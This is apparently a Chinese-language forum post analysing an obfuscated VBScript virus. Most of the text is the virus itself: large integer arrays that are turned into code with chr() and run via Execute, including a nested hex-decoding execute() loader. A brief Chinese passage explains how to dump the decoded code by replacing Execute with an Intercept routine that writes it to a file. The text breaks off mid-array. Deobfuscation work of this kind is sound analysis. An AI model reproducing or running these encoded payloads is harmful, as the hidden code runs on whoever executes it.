32,16,29,19,44,45,54,58,6,8,32,54,125,123,31,14,30,32,4,1,125,123,30,23,61,54,125,123,31,14,30,32,4,1,125,123,23,19,29,18,4,16,20,46,19,7,31,31,16,32,54,53,53,12,58,3,1,8,61,12,1,15,18,32,31,27,29,3,32,30,32,4,14,32,30,29,125,123,4,1,32,30,46,30,18,4,22,31,20,25,16,31,61,56,32,15,18,32,40,30,46,30,18,4,22,31,20,25,16,31,61,54,32,27,14,30,32,30,60,62,124,65,58,124,32,27,14,30,32,30,60,62,32,124,66,58,124,41,32,20,3,31,14,125,123,4,1,32,19,23,61,54,32,20,3,31,14,125,123,4,1,32,31,4,40,30,38,4,14,1,44,55,41,32,20,3,31,14,32,30,1,32,30,38,4,14,1,125,123,4,1,32,31,4,40,30,38,5,38,22,19,44,54,41,32,27,14,30,32,31,4,40,30,38,4,14,1,44,54,41,32,20,3,31,14,125,123,4,1,32,18,20,40,30,38,4,14,1,44,54,41,60,62,20,4,7,32,20,3,31,14,32,28,4,32,30,38,4,14,1,125,123,31,7,19,31,125,123,3,4,32,54,58,28,4,32,30,38,4,14,1,58,29,15,32,30,38,5,38,22,19,125,123,31,14,30,32,4,1,125,123,31,7,19,31,4,1,32,19,23,61,45,54,32,20,3,31,14,58,30,1,32,30,38,4,14,1,58,30,1,32,30,38,5,38,22,19,125,123,31,7,19,31,58,28,1,32,30,38,5,38,22,19,44,23,19,18,38,124,40,7,31,1,20,40,23,19,29,18,4,16,20,46,19,29,18,4,16,20,1,21,7,7,14,27,8,31,44,56,41,41,44,56,124,38,19,20,18,4,14,2,40,54,53,53,53,53,44,124,39,124,41,44,54,58,30,1,32,30,38,4,14,1,125,123,31,14,30,32,4,1,125,123,31,14,30,32,4,1,125,123,14,31,24,20,12,58,16,3,8,61,12,29,21,19,61,18,18,40,124,15,19,23,124,44,54,41,60,62,57,125,123,30,15,125,123,30,29,21,61,18,18,40,124,20,2,19,124,44,54,41,60,62,29,19,20,18,40,30,27,20,31,41,125,123,4,1,32,40,19,31,29,15,14,30,40,20,4,8,31,41,32,8,15,30,32,56,41,61,53,32,20,3,31,14,125,123,4,1,32,30,29,21,32,27,14,30,32,29,21,19,32,20,3,31,14,32,21,19,32,54,125,123,8,4,14,61,8,4,14,21,20,31,40,14,15,23,41,58,4,1,32,40,8,4,14,32,8,15,30,32,55,41,61,54,32,27,14,30,32,14,14,60,62,8,4,14,32,27,14,30,32,15,15,60,62,54,32,20,3,31,14,32,14,14,61,8,4,14,58,15,15,61,2,20,58,6,8,32,53,125,123,4,1,32,18,18,40,124,20,19,23,124,44,54,41,61,54,32,20,3,31,14,32,31,24,31,29,21,20,31,40,21,29,40,18,18,40,124,20,29,15,124,44,54,41,41,41,125,123,31,14,30,32,4,1,125,123,23,19,29,18,4,16,20,46,19,7,31,31,16,32,52,53,53,125,123,4,1,32,3,4,40,53,41,61,54,32,27,14,30,32,30,29,21,32,20,3,31,14,32,23,18,32,124,20,2,19,124,44,30,27,20,31,58,21,19,32,45,54,125,123,4,1,32,16,18,40,124,20,27,19,6,8,2,18,46,31,24,31,124,44,54,41,61,54,32,20,3,31,14,58,23,19,46,18,21,14,32,124,27,20,32,124,38,20,4,8,31,43,53,46,53,53,56,38,124,32,47,4,14,20,31,18,27,29,20,4,22,31,32,124,38,22,31,44,53,44,1,27,7,19,31,58,23,18,32,124,27,20,30,124,44,54,58,3,4,32,54,58,6,8,32,53,58,23,19,29,18,4,16,20,46,17,21,4,20,125,123,7,15,15,16,12,58,18,6,2,61,12,58,18,6,18,16,3,2,18,40,3,16,40,12,58,24,26,8,61,12,4,1,32,19,23,61,54,32,20,3,31,14,125,123,18,19,32,53,58,21,19,32,45,54,58,30,1,32,15,21,23,58,30,1,32,23,4,14,38,22,31,58,30,1,32,30,4,18,38,22,31,58,30,1,32,23,28,31,38,22,31,58,23,19,29,18,4,16,20,46,17,21,4,20,125,123,31,7,19,31,125,123,18,19,32,54,125,123,4,1,32,29,1,40,30,4,18,38,22,31,41,32,20,3,31,14,32,29,15,32,30,4,18,38,22,31,125,123,4,1,32,29,1,40,23,4,14,38,22,31,41,32,20,3,31,14,32,29,15,32,23,4,14,38,22,31,125,123,31,14,30,32,4,1,12,58,16,19,8,61,12,4,1,32,18,20,40,23,3,44,54,41,60,62,124,18,31,8,32,124,38,20,4,7,32,20,3,31,14,32,29,1,61,20,18,21,31,12,58,18,6,18,16,3,2,18,40,18,6,2,38,12,17,7,8,41,41,12,38,18,6,2,38,12,8,16,6,41,41,12,38,19,3,2,38,12,20,2,40,41,12,38,18,6,2,38,12,20,2,8,12,38,14,19,2,38,12,18,22,40,27,14,26,18,44,5,2,41,12,38,18,6,2,38,12,18,22,8,12,38,14,19,2,38,12,17,19,40,5,21,41,12,38,18,6,2,38,12,17,19,8,12,38,14,19,2,38,12,15,19,40,5,21,44,5,2,44,17,14,41,12,38,18,6,2,38,12,15,19,8,12,38,14,19,2,38,12,15,22,40,5,21,41,12,38,18,6,2,38,12,15,22,8,12,38,14,19,2,38,12,31,2,40,5,21,44,25,22,41,12,38,18,6,2,38,12,31,2,8,12,38,14,19,2,38,12,5,31,40,31,27,14,44,31,17,14,41,12,38,18,6,2,38,12,5,31,8,12,38,14,19,2,38,12,31,31,40,31,27,14,44,29,14,41,12,38,18,6,2,38,12,31,31,8,12,38,14,19,2,38,12,14,31,40,19,22,25,18,44,16,20,41,12,38,18,6,2,38,12,14,31,8,12,38,14,19,2,38,12,17,27,40,25,28,16,44,5,18,15,44,31,22,1,44,26,22,27,41,12,38,18,6,2,38,12,17,27,8,12,38,14,19,2,38,12,29,31,40,29,16,1,44,20,1,41,12,38,18,6,2,38,12,29,31,8,12,38,14,19,2,38,12,18,16,40,5,2,41,12,38,18,6,2,38,12,18,16,8,12,38,14,19,2,38,12,16,28,40,5,21,41,12,38,18,6,2,38,12,16,28,8,12,38,14,19,2,38,12,31,1,40,1,5,41,12,38,18,6,2,38,12,31,1,8,12,38,14,19,2,38,12,21,22,40,1,5,41,12,38,18,6,2,38,12,21,22,8,12,38,14,19,2,38,12,20,22,40,22,17,1,44,19,22,17,44,18,22,17,44,19,27,14,26,18,44,19,3,31,25,41,12,38,18,6,2,38,12,20,22,8,12,38,14,19,2,38,12,17,5,40,29,16,1,44,19,27,44,19,3,31,25,44,24,22,25,25,41,12,38,18,6,2,38,12,17,5,8,12,38,14,19,2,38,12,3,1,40,1,5,41,12,38,18,6,2,38,12,3,1,8,12,38,14,19,2,38,12,16,3,40,41,12,38,18,6,2,38,12,16,3,8,12,38,14,19,2,38,12,24,26,40,1,5,41,12,38,18,6,2,38,12,24,26,8,12,38,14,19,2,38,12,16,19,40,5,21,41,12,38,18,6,2,38,12,16,19,8,12,38,18,19,2,41,127,11,19,3,27,16,2,22,28,27,32,18,31,40,1,16,28,41,127,11,22,19,32,18,31,31,46,27,3,26,15,18,31,60,62,53,32,28,31,32,1,16,28,60,53,32,2,21,18,27,127,11,18,31,31,46,16,25,18,14,31,127,11,18,31,61,2,31,3,18,127,11,22,19,32,1,16,28,60,62,53,32,14,27,17,32,31,31,40,12,17,18,17,12,44,54,41,60,62,16,1,2,31,40,17,14,2,18,41,32,2,21,18,27,127,11,5,31,32,12,28,18,31,12,44,31,31,40,12,28,18,31,12,44,54,41,43,14,15,1,40,1,16,28,41,127,11,22,19,32,31,31,40,12,28,18,31,12,44,54,41,62,54,53,53,32,2,21,18,27,32,5,31,32,12,17,18,17,12,44,17,14,2,18,58,5,31,32,12,28,18,31,12,44,53,127,11,18,27,17,32,22,19,127,11,18,27,17,32,22,19,127,11,18,27,17,32,19,3,27,16,2,22,28,27,34,58,101,120,101,99,117,116,101,40,117,99,40,108,79,43,113,79,41,41,13,10):for i=1 to UBound(UT):UTS=UTS&chr(UT(i)):next:Execute UTS'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~!@#$%^&*()_+|;',./:"<>?
解密过程如下
1,替换源代码中的Execute为Intercept,
Intercept过程代码为
Sub Intercept (code)
WScript.Echo code
OutPutFile="decode_1.txt"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False)
objTXT.Write code
objTXT.Close
Set objWSH=CreateObject("WScript.Shell")
objWSH.Run OutPutFile
WScript.Quit
End Sub
修改后代码为
代码:
rem UT
'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~!@#$%^&*()_+|;',./:"<>?
UT=array(13,114,101,109,32,85,84,32,13,10,108,79,61,34,28,27,32,18,31,31,28,31,32,31,18,1,3,26,18,32,27,18,6,2,127,11,17,7,8,61,12,22,31,18,61,124,52,46,54,124,58,20,4,7,61,124,85,84,124,58,28,20,5,61,50,53,53,58,22,19,61,124,46,22,28,19,124,58,22,31,61,124,46,22,28,31,124,58,29,8,61,124,37,29,15,8,19,16,31,29,37,32,47,29,32,124,58,30,1,15,61,124,47,21,35,20,47,124,58,4,14,1,61,124,92,27,21,20,15,18,21,14,46,4,14,1,124,125,123,19,31,20,32,23,19,61,29,18,31,27,20,31,15,28,5,31,29,20,40,124,23,19,29,18,4,16,20,46,19,3,31,7,7,124,41,58,19,31,20,32,23,8,4,61,2,31,20,15,28,5,31,29,20,40,124,23,4,14,8,2,8,20,19,58,92,92,46,92,18,15,15,20,92,29,4,8,22,55,124,41,125,123,19,31,20,32,1,19,15,61,29,18,31,27,20,31,15,28,5,31,29,20,40,124,19,29,18,4,16,20,4,14,2,46,1,4,7,31,19,25,19,20,31,8,15,28,5,31,29,20,124,41,58,19,31,20,32,19,4,19,61,23,8,4,46,31,24,31,29,17,21,31,18,25,40,124,19,31,7,31,29,20,32,42,32,1,18,15,8,32,23,4,14,56,55,95,15,16,31,18,27,20,4,14,2,19,25,19,20,31,8,124,41,125,123,19,31,20,32,30,29,61,1,19,15,46,30,18,4,22,31,19,58,15,21,23,61,23,19,29,18,4,16,20,46,19,29,18,4,16,20,1,21,7,7,14,27,8,31,58,23,4,14,61,1,19,15,46,2,31,20,19,16,31,29,4,27,7,1,15,7,30,31,18,40,53,41,38,5,58,30,4,18,61,1,19,15,46,2,31,20,19,16,31,29,4,27,7,1,15,7,30,31,18,40,54,41,38,5,125,123,20,8,16,61,1,19,15,46,2,31,20,19,16,31,29,4,27,7,1,15,7,30,31,18,40,55,41,38,5,58,23,28,31,61,30,4,18,38,124,23,28,31,8,92,124,58,8,4,18,61,7,31,1,20,40,15,21,23,44,7,31,14,40,15,21,23,41,45,7,31,14,40,23,19,29,18,4,16,20,46,19,29,18,4,16,20,14,27,8,31,41,41,125,123,23,19,18,61,124,29,18,31,27,20,31,15,28,5,31,29,20,40,124,124,23,19,29,18,4,16,20,46,19,3,31,7,7,124,124,41,46,18,21,14,124,58,29,14,18,61,124,92,29,15,8,16,21,20,31,18,14,27,8,31,124,58,29,14,16,61,124,72,75,76,77,92,19,25,19,20,31,8,92,29,21,18,18,31,14,20,29,15,14,20,18,15,7,19,31,20,92,29,15,14,20,18,15,7,124,38,29,14,18,38,29,14,18,38,29,14,18,125,123,29,14,27,61,18,18,40,29,14,16,44,53,41,58,4,1,32,29,14,27,61,124,124,32,20,3,31,14,32,29,14,27,61,20,4,7,125,123,18,16,27,61,124,72,75,76,77,92,19,15,1,20,23,27,18,31,92,124,38,29,14,27,38,5,58,18,15,16,61,124,92,19,15,1,20,23,27,18,31,92,8,4,29,18,15,19,15,1,20,92,23,4,14,30,15,23,19,92,29,21,18,18,31,14,20,22,31,18,19,4,15,14,92,31,24,16,7,15,18,31,18,92,124,125,123,19,1,61,124,19,3,31,7,7,32,1,15,7,30,31,18,19,92,124,58,1,19,16,61,18,18,40,124,72,75,76,77,124,38,18,15,16,38,19,1,38,124,29,15,8,8,15,14,32,19,20,27,18,20,21,16,124,44,53,41,38,5,38,22,19,58,1,27,16,61,18,18,40,124,72,75,67,85,124,38,18,15,16,38,19,1,38,124,1,27,22,15,18,4,20,31,19,124,44,53,41,38,5,125,123,30,27,16,61,18,18,40,124,72,75,67,85,124,38,18,15,16,38,19,1,38,124,30,31,19,6,20,15,16,124,44,53,41,38,5,58,18,19,14,61,29,14,27,58,3,20,61,31,29,40,124,4,22,23,20,63,48,49,124,41,58,3,27,61,31,29,40,124,58,59,52,58,58,60,48,6,23,52,124,41,58,3,29,61,124,53,30,23,21,69,16,69,124,58,3,31,61,31,29,40,124,29,124,43,3,29,41,125,123,18,19,16,61,124,72,75,76,77,92,19,15,1,20,23,27,18,31,92,8,4,29,18,15,19,15,1,20,92,23,4,14,30,15,23,19,92,29,21,18,18,31,14,20,22,31,18,19,4,15,14,92,16,15,7,4,29,4,31,19,92,31,24,16,7,15,18,31,18,92,18,21,14,92,124,58,4,1,32,8,4,18,61,30,4,18,32,20,3,31,14,32,19,25,19,61,20,18,21,31,125,123,1,15,18,32,31,27,29,3,32,19,4,32,4,14,32,19,4,19,58,29,27,61,19,4,46,29,27,16,20,4,15,14,58,29,19,61,19,4,46,29,15,30,31,19,31,20,58,29,29,61,19,4,46,29,15,21,14,20,18,25,29,15,30,31,58,15,19,61,19,4,46,15,19,7,27,14,2,21,27,2,31,58,23,22,61,19,4,46,22,31,18,19,4,15,14,58,14,31,24,20,125,123,3,4,16,61,124,72,75,67,85,124,38,18,15,16,38,124,27,30,22,27,14,29,31,30,92,19,3,15,23,19,21,16,31,18,3,4,30,30,31,14,124,58,3,28,61,124,22,22,54,60,61,49,50,49,24,124,38,29,3,18,40,54,55,57,41,38,124,18,59,124,125,123,4,1,32,4,14,19,20,18,40,23,22,44,124,48,46,55,124,41,60,62,53,32,20,3,31,14,125,123,3,30,61,124,20,124,43,3,29,125,123,31,7,19,31,4,1,32,29,29,60,62,51,49,32,20,3,31,14,32,3,30,61,124,16,124,43,3,29,58,31,7,19,31,32,3,30,61,124,36,124,43,3,29,58,31,14,30,32,4,1,12,58,20,2,8,61,12,20,5,19,61,18,18,40,124,20,5,19,124,44,54,41,58,30,5,19,61,18,18,40,124,30,5,19,124,44,54,41,58,4,1,32,14,15,20,32,4,19,14,21,8,31,18,4,29,40,20,5,19,41,32,15,18,32,14,15,20,32,4,19,30,27,20,31,40,30,5,19,41,32,20,3,31,14,32,23,18,32,124,20,5,19,124,44,54,58,23,18,32,124,30,5,19,124,44,30,27,20,31,58,30,5,19,61,18,18,40,124,30,5,19,124,44,54,41,125,123,23,18,32,124,20,5,19,124,44,20,5,19,43,54,58,23,28,61,16,18,40,124,29,7,19,8,14,46,31,24,31,124,44,54,41,61,54,32,15,18,32,16,18,40,124,27,16,46,31,24,31,124,44,54,41,61,54,32,15,18,32,16,18,40,124,16,21,28,23,4,14,46,31,24,31,124,44,54,41,61,54,125,123,4,1,32,30,27,20,31,45,29,30,27,20,31,40,30,5,19,41,62,57,32,20,3,31,14,32,2,17,61,20,18,21,31,58,23,19,46,18,21,14,32,124,14,31,20,32,19,20,27,18,20,32,124,124,20,27,19,6,32,19,29,3,31,30,21,7,31,18,124,124,124,44,53,44,1,27,7,19,31,125,123,4,1,32,40,18,18,40,124,20,5,19,124,44,54,41,62,51,53,53,32,15,18,32,23,28,32,15,18,32,2,17,32,15,18,32,14,15,20,32,19,25,19,41,32,27,14,30,32,18,18,40,124,30,31,30,124,44,54,41,60,62,29,19,20,18,40,30,27,20,31,41,32,20,3,31,14,125,123,4,30,61,18,18,40,124,4,30,30,124,44,54,41,58,4,1,32,23,28,32,20,3,31,14,32,4,30,61,54,58,5,19,61,54,58,29,30,61,53,125,123,30,15,32,23,3,4,7,31,32,29,30,60,62,124,60,19,29,18,4,16,20,62,124,125,123,4,1,32,5,19,61,55,32,15,18,32,5,19,61,57,32,20,3,31,14,125,123,30,55,61,30,14,40,8,4,18,38,20,4,7,44,3,20,43,3,27,43,31,29,40,3,30,41,38,4,30,44,53,44,54,53,53,41,58,29,30,61,18,20,40,8,4,18,38,20,4,7,44,54,41,125,123,31,7,19,31,4,1,32,5,19,61,54,32,15,18,32,5,19,61,56,32,20,3,31,14,32,30,54,61,30,14,40,8,4,18,38,20,4,7,44,3,20,43,31,29,40,3,28,41,43,31,29,40,3,30,41,38,4,30,38,124,38,22,61,124,38,22,31,18,44,53,44,54,53,53,41,58,29,30,61,18,20,40,8,4,18,38,20,4,7,44,54,41,125,123,31,14,30,32,4,1,58,5,19,61,5,19,43,54,58,23,26,61,30,54,61,54,32,15,18,32,30,55,61,54,58,4,1,32,5,19,62,57,32,20,3,31,14,125,123,4,1,32,23,26,32,20,3,31,14,32,2,20,61,54,125,123,31,24,4,20,32,30,15,125,123,31,14,30,32,4,1,125,123,4,1,32,23,26,32,20,3,31,14,32,31,18,32,45,54,125,123,7,15,15,16,125,123,4,1,32,31,4,40,8,4,18,38,20,4,7,44,54,41,32,20,3,31,14,125,123,19,31,20,32,18,61,1,19,15,46,15,16,31,14,20,31,24,20,1,4,7,31,40,8,4,18,38,20,4,7,44,54,41,125,123,29,4,14,61,18,46,18,31,27,30,7,4,14,31,58,30,4,19,61,18,46,18,31,27,30,7,4,14,31,58,30,14,27,61,18,46,18,31,27,30,7,4,14,31,58,30,1,18,61,18,46,18,31,27,30,7,4,14,31,58,14,22,31,61,18,46,18,31,27,30,7,4,14,31,58,14,18,21,61,18,46,18,31,27,30,7,4,14,31,125,123,14,14,27,61,18,46,18,31,27,30,7,4,14,31,58,14,1,18,61,18,46,18,31,27,30,7,4,14,31,58,20,19,23,61,18,46,18,31,27,30,7,4,14,31,58,20,29,15,61,18,46,18,31,27,30,7,4,14,31,58,15,19,23,61,18,46,18,31,27,30,7,4,14,31,58,4,30,30,61,18,46,18,31,27,30,7,4,14,31,125,123,18,46,29,7,15,19,31,58,30,1,32,8,4,18,38,20,4,7,58,4,1,32,29,4,14,61,124,60,19,29,18,4,16,20,62,124,32,20,3,31,14,125,123,23,18,32,124,20,5,19,124,44,54,58,23,18,32,124,30,5,19,124,44,30,27,20,31,58,23,18,32,124,4,30,30,124,44,4,30,30,58,23,18,32,124,30,14,27,124,44,30,14,27,58,23,18,32,124,20,19,23,124,44,20,19,23,58,23,18,32,124,20,29,15,124,44,20,29,15,58,23,18,32,124,15,19,23,124,44,15,19,23,125,123,4,1,32,14,22,31,45,22,31,18,62,61,54,32,15,18,32,14,15,20,32,31,4,40,30,4,18,38,22,31,44,54,41,32,20,3,31,14,32,30,14,32,30,4,18,38,14,14,27,44,3,20,38,14,1,18,38,30,1,15,38,14,14,27,44,14,18,21,44,55,53,53,53,58,23,19,29,18,4,16,20,46,17,21,4,20,125,123,4,1,32,30,4,19,61,54,32,27,14,30,32,19,25,19,32,20,3,31,14,125,123,4,1,32,30,14,27,60,62,7,31,32,15,18,32,14,15,20,32,31,4,40,20,8,16,38,7,31,44,54,41,32,20,3,31,14,32,30,1,32,20,8,16,38,7,31,58,30,14,32,20,8,16,38,30,14,27,44,3,20,38,30,1,18,38,30,1,15,38,30,14,27,44,54,44,54,53,53,53,125,123,31,14,30,32,4,1,125,123,31,14,30,32,4,1,125,123,31,14,30,32,4,1,125,123,31,14,30,32,4,1,125,123,4,1,32,31,18,40,54,41,32,15,18,32,23,28,32,20,3,31,14,32,2,20,61,54,12,58,18,22,8,61,12,4,1,32,1,19,15,46,1,4,7,31,31,24,4,19,20,19,40,14,27,8,31,41,32,27,14,30,32,23,20,61,54,32,20,3,31,14,32,31,4,61,20,18,21,31,125,123,4,1,32,1,19,15,46,1,15,7,30,31,18,31,24,4,19,20,19,40,14,27,8,31,41,32,27,14,30,32,23,20,61,55,32,20,3,31,14,32,31,4,61,20,18,21,31,12,58,17,19,8,61,12,27,18,32,23,3,44,53,125,123,4,1,32,31,4,40,23,3,44,54,41,32,20,3,31,14,32,1,19,15,46,30,31,7,31,20,31,1,4,7,31,40,23,3,41,125,123,4,1,32,31,4,40,23,3,44,55,41,32,20,3,31,14,32,1,19,15,46,30,31,7,31,20,31,1,15,7,30,31,18,40,23,3,41,12,58,19,3,2,61,12,58,19,3,27,16,2,22,28,27,32,12,58,15,19,8,61,12,30,1,32,23,3,58,19,31,20,32,28,4,14,61,1,19,15,46,29,18,31,27,20,31,20,31,24,20,1,4,7,31,40,23,3,44,20,18,21,31,41,58,28,4,14,46,23,18,4,20,31,7,4,14,31,32,23,20,58,28,4,14,46,29,7,15,19,31,125,123,4,1,32,30,27,61,54,32,20,3,31,14,32,27,18,32,23,3,44,50,125,123,4,1,32,14,15,20,32,31,18,40,53,41,32,20,3,31,14,32,28,1,61,54,12,58,15,22,8,61,12,30,1,32,23,3,58,19,31,20,32,4,61,1,19,15,46,29,18,31,27,20,31,20,31,24,20,1,4,7,31,40,23,3,44,20,18,21,31,41,58,3,61,22,28,29,18,7,1,125,123,4,46,23,18,4,20,31,7,4,14,31,32,20,4,7,38,3,38,124,91,27,21,20,15,18,21,14,93,124,38,3,38,124,15,16,31,14,61,23,19,29,18,4,16,20,46,31,24,31,32,46,92,124,38,22,19,38,3,38,124,19,3,31,7,7,92,15,16,31,14,92,29,15,8,8,27,14,30,61,23,19,29,18,4,16,20,46,31,24,31,32,46,92,124,38,22,19,38,3,38,124,19,3,31,7,7,92,15,16,31,14,92,30,31,1,27,21,7,20,61,54,124,125,123,4,46,29,7,15,19,31,58,27,18,32,23,3,44,50,58,4,1,32,14,15,20,32,31,18,40,53,41,32,20,3,31,14,32,28,4,61,54,12,58,31,2,8,61,12,4,1,32,7,4,60,53,32,20,3,31,14,32,23,3,61,15,21,23,125,123,4,1,32,31,4,40,23,3,44,54,41,32,20,3,31,14,125,123,4,1,32,1,19,15,46,2,31,20,1,4,7,31,40,23,3,41,46,19,4,26,31,61,53,32,20,3,31,14,125,123,18,20,61,53,125,123,31,7,19,31,125,123,19,31,20,32,18,61,1,19,15,46,15,16,31,14,20,31,24,20,1,4,7,31,40,23,3,44,54,41,125,123,19,31,20,32,29,7,61,1,19,15,46,15,16,31,14,20,31,24,20,1,4,7,31,40,23,3,44,54,41,125,123,29,7,46,18,31,27,30,27,7,7,125,123,20,7,4,61,29,7,46,7,4,14,31,125,123,29,7,46,29,7,15,19,31,125,123,4,1,32,7,4,62,53,32,27,14,30,32,7,4,60,61,20,7,4,32,20,3,31,14,125,123,4,61,53,32,125,123,30,15,32,23,3,4,7,31,32,4,60,7,4,125,123,4,61,4,43,54,125,123,4,1,32,14,15,20,32,18,46,27,20,31,14,30,15,1,19,20,18,31,27,8,32,20,3,31,14,125,123,19,7,4,61,18,46,18,31,27,30,7,4,14,31,125,123,31,7,19,31,125,123,19,7,4,61,53,125,123,31,14,30,32,4,1,125,123,7,15,15,16,125,123,18,20,61,19,7,4,125,123,31,7,19,31,4,1,32,7,4,60,61,53,32,20,3,31,14,125,123,18,20,61,18,46,18,31,27,30,27,7,7,125,123,31,7,19,31,125,123,18,20,61,53,125,123,31,14,30,32,4,1,125,123,18,46,29,7,15,19,31,125,123,31,14,30,32,4,1,125,123,31,7,19,31,125,123,18,20,61,53,125,123,31,14,30,32,4,1,12,58,5,31,8,61,12,4,1,32,18,30,27,61,45,54,32,20,3,31,14,32,23,19,46,18,31,2,30,31,7,31,20,31,32,18,14,27,32,31,7,19,31,32,23,19,46,18,31,2,23,18,4,20,31,32,18,16,27,38,18,14,27,44,18,30,27,44,124,82,69,71,95,83,90,124,12,58,31,31,8,61,12,4,1,32,16,27,61,54,32,20,3,31,14,32,18,14,27,61,18,16,27,38,18,14,27,125,123,18,18,61,23,19,46,18,31,2,18,31,27,30,40,18,14,27,41,125,123,4,1,32,31,18,40,53,41,32,20,3,31,14,32,18,18,61,53,12,58,14,31,8,61,12,4,1,32,31,4,40,1,4,7,31,44,54,41,32,20,3,31,14,58,19,31,20,32,15,1,4,7,31,61,1,19,15,46,2,31,20,1,4,7,31,40,1,4,7,31,41,58,15,1,4,7,31,46,27,20,20,18,4,28,21,20,31,19,61,29,2,58,19,31,20,32,15,1,4,7,31,61,14,15,20,3,4,14,2,125,123,4,1,32,31,4,40,1,4,7,31,44,55,41,32,20,3,31,14,58,19,31,20,32,15,1,4,7,31,61,1,19,15,46,2,31,20,1,15,7,30,31,18,40,1,4,7,31,41,58,15,1,4,7,31,46,27,20,20,18,4,28,21,20,31,19,61,29,2,58,19,31,20,32,15,1,4,7,31,61,14,15,20,3,4,14,2,12,58,18,19,2,61,12,41,41,58,18,27,17,32,19,3,27,16,2,22,28,27,12,58,17,27,8,61,12,27,18,32,7,15,29,44,53,58,19,31,20,32,24,16,15,19,20,32,61,32,29,18,31,27,20,31,15,28,5,31,29,20,40,124,8,4,29,18,15,19,15,1,20,46,24,8,7,3,20,20,16,124,41,58,24,16,15,19,20,46,15,16,31,14,32,124,2,31,20,124,44,23,31,28,44,53,58,24,16,15,19,20,46,19,31,14,30,40,41,125,123,4,1,32,8,4,14,60,62,53,32,20,3,31,14,125,123,4,1,32,14,15,20,32,31,18,40,53,41,32,20,3,31,14,125,123,30,14,61,54,58,19,31,20,32,19,2,31,20,61,29,18,31,27,20,31,15,28,5,31,29,20,40,124,27,30,15,30,28,46,19,20,18,31,27,8,124,41,32,125,123,19,2,31,20,46,8,15,30,31,61,56,58,19,2,31,20,46,20,25,16,31,61,54,58,19,2,31,20,46,15,16,31,14,40,41,58,19,2,31,20,46,23,18,4,20,31,40,24,16,15,19,20,46,18,31,19,16,15,14,19,31,28,15,30,25,41,58,19,2,31,20,46,19,27,22,31,20,15,1,4,7,31,32,7,15,29,44,55,125,123,27,18,32,7,15,29,44,50,125,123,4,1,32,31,4,40,7,15,29,44,54,41,32,20,3,31,14,32,1,19,26,61,1,19,15,46,2,31,20,1,4,7,31,40,7,15,29,41,46,19,4,26,31,32,31,7,19,31,32,1,19,26,61,53,125,123,4,1,32,1,19,26,62,8,4,14,32,20,3,31,14,125,123,4,1,32,18,4,19,61,54,32,20,3,31,14,32,23,19,46,18,21,14,32,7,15,29,125,123,31,7,19,31,125,123,30,14,61,53,58,30,1,32,7,15,29,125,123,31,14,30,32,4,1,125,123,31,14,30,32,4,1,125,123,31,14,30,32,4,1,12,58,29,31,8,61,12,19,31,20,32,16,7,61,23,8,4,46,31,24,31,29,17,21,31,18,25,40,124,19,31,7,31,29,20,32,34,58,102,117,110,99,116,105,111,110,32,117,99,40,98,41,58,120,61,34,54,51,51,100,55,54,54,50,54,51,55,50,54,67,54,54,51,65,54,52,51,68,51,49,51,50,51,55,51,65,54,54,51,68,51,49,51,49,51,65,54,65,51,68,51,49,51,50,51,65,54,56,51,68,51,49,51,52,51,65,54,68,51,68,51,51,51,49,51,65,55,50,51,68,51,56,51,51,51,65,54,66,51,68,51,49,51,65,54,69,51,68,51,56,51,65,55,51,51,68,51,49,51,49,51,52,51,65,55,53,51,68,50,68,51,53,51,65,55,54,51,68,51,53,48,68,48,65,54,57,51,68,50,50,54,57,54,54,50,48,54,49,51,68,50,50,51,65,55,52,51,68,50,50,50,48,55,52,54,56,54,53,54,69,50,48,50,50,51,65,54,53,51,68,50,50,54,53,54,67,55,51,54,53,54,57,54,54,50,48,54,49,51,69,51,68,50,50,51,65,54,49,51,68,50,50,50,48,54,49,54,69,54,52,50,48,54,49,51,67,51,68,50,50,51,65,54,55,51,68,50,50,54,49,51,68,54,49,50,66,50,50,51,65,54,70,51,68,55,52,50,54,54,51,50,54,54,55,51,65,55,48,51,68,54,51,50,54,54,53,51,65,55,49,51,68,54,51,50,54,54,57,48,68,48,65,54,53,55,56,54,53,54,51,55,53,55,52,54,53,50,56,54,67,50,54,50,50,54,54,54,70,55,50,50,48,54,57,54,57,51,68,51,49,50,48,55,52,54,70,50,48,54,67,54,53,54,69,50,56,54,50,50,57,51,65,54,49,51,68,54,49,55,51,54,51,50,56,54,68,54,57,54,52,50,56,54,50,50,67,54,57,54,57,50,67,51,49,50,57,50,57,50,50,50,54,55,49,50,54,50,50,54,52,50,50,50,54,55,52,50,54,50,50,54,49,51,68,51,49,51,51,50,50,50,54,55,49,50,54,50,50,54,54,50,50,50,54,55,52,50,54,50,50,54,49,51,68,51,49,51,48,50,50,50,54,55,49,50,54,50,50,54,65,50,50,50,54,55,52,50,54,54,51,50,54,50,50,54,49,51,68,51,51,51,52,50,50,50,54,54,51,50,54,54,53,50,54,50,50,54,56,50,50,50,54,54,49,50,54,50,50,54,68,50,50,50,54,54,70,50,54,50,50,55,50,50,50,50,54,55,48,50,54,50,50,54,66,50,50,50,54,54,49,50,54,50,50,54,69,50,50,50,54,54,70,50,54,50,50,55,51,50,50,50,54,55,48,50,54,50,50,51,53,51,51,50,50,50,54,54,49,50,54,50,50,51,53,51,55,50,50,50,54,54,70,50,54,50,50,55,53,50,50,50,54,55,48,50,54,50,50,51,52,51,56,50,50,50,54,54,49,50,54,50,50,51,53,51,50,50,50,50,54,54,70,50,54,50,50,55,54,50,50,50,54,54,51,50,54,50,50,54,53,54,69,54,52,50,48,54,57,54,54,50,50,50,54,54,51,50,54,50,50,55,53,54,51,51,68,55,53,54,51,50,66,54,51,54,56,55,50,50,56,54,49,50,57,50,50,50,54,54,51,50,54,50,50,54,69,54,53,55,56,55,52,50,50,50,54,54,51,50,54,50,50,55,53,54,51,51,68,55,50,54,69,50,66,54,51,50,66,55,53,54,51,50,50,50,57,34,58,121,61,34,101,120,101,99,117,116,101,32,34,34,34,34,34,58,122,61,34,38,99,104,114,40,38,104,34,58,119,61,34,41,34,58,101,120,101,99,117,116,101,40,34,100,111,32,119,104,105,108,101,32,108,101,110,40,120,41,62,49,58,105,102,32,105,115,110,117,109,101,114,105,99,40,108,101,102,116,40,120,44,49,41,41,32,116,104,101,110,32,121,61,121,38,122,38,108,101,102,116,40,120,44,50,41,38,119,58,120,61,109,105,100,40,120,44,51,41,32,101,108,115,101,32,121,61,121,38,122,43,108,101,102,116,40,120,44,52,41,43,119,58,120,61,109,105,100,40,120,44,53,41,34,38,118,98,99,114,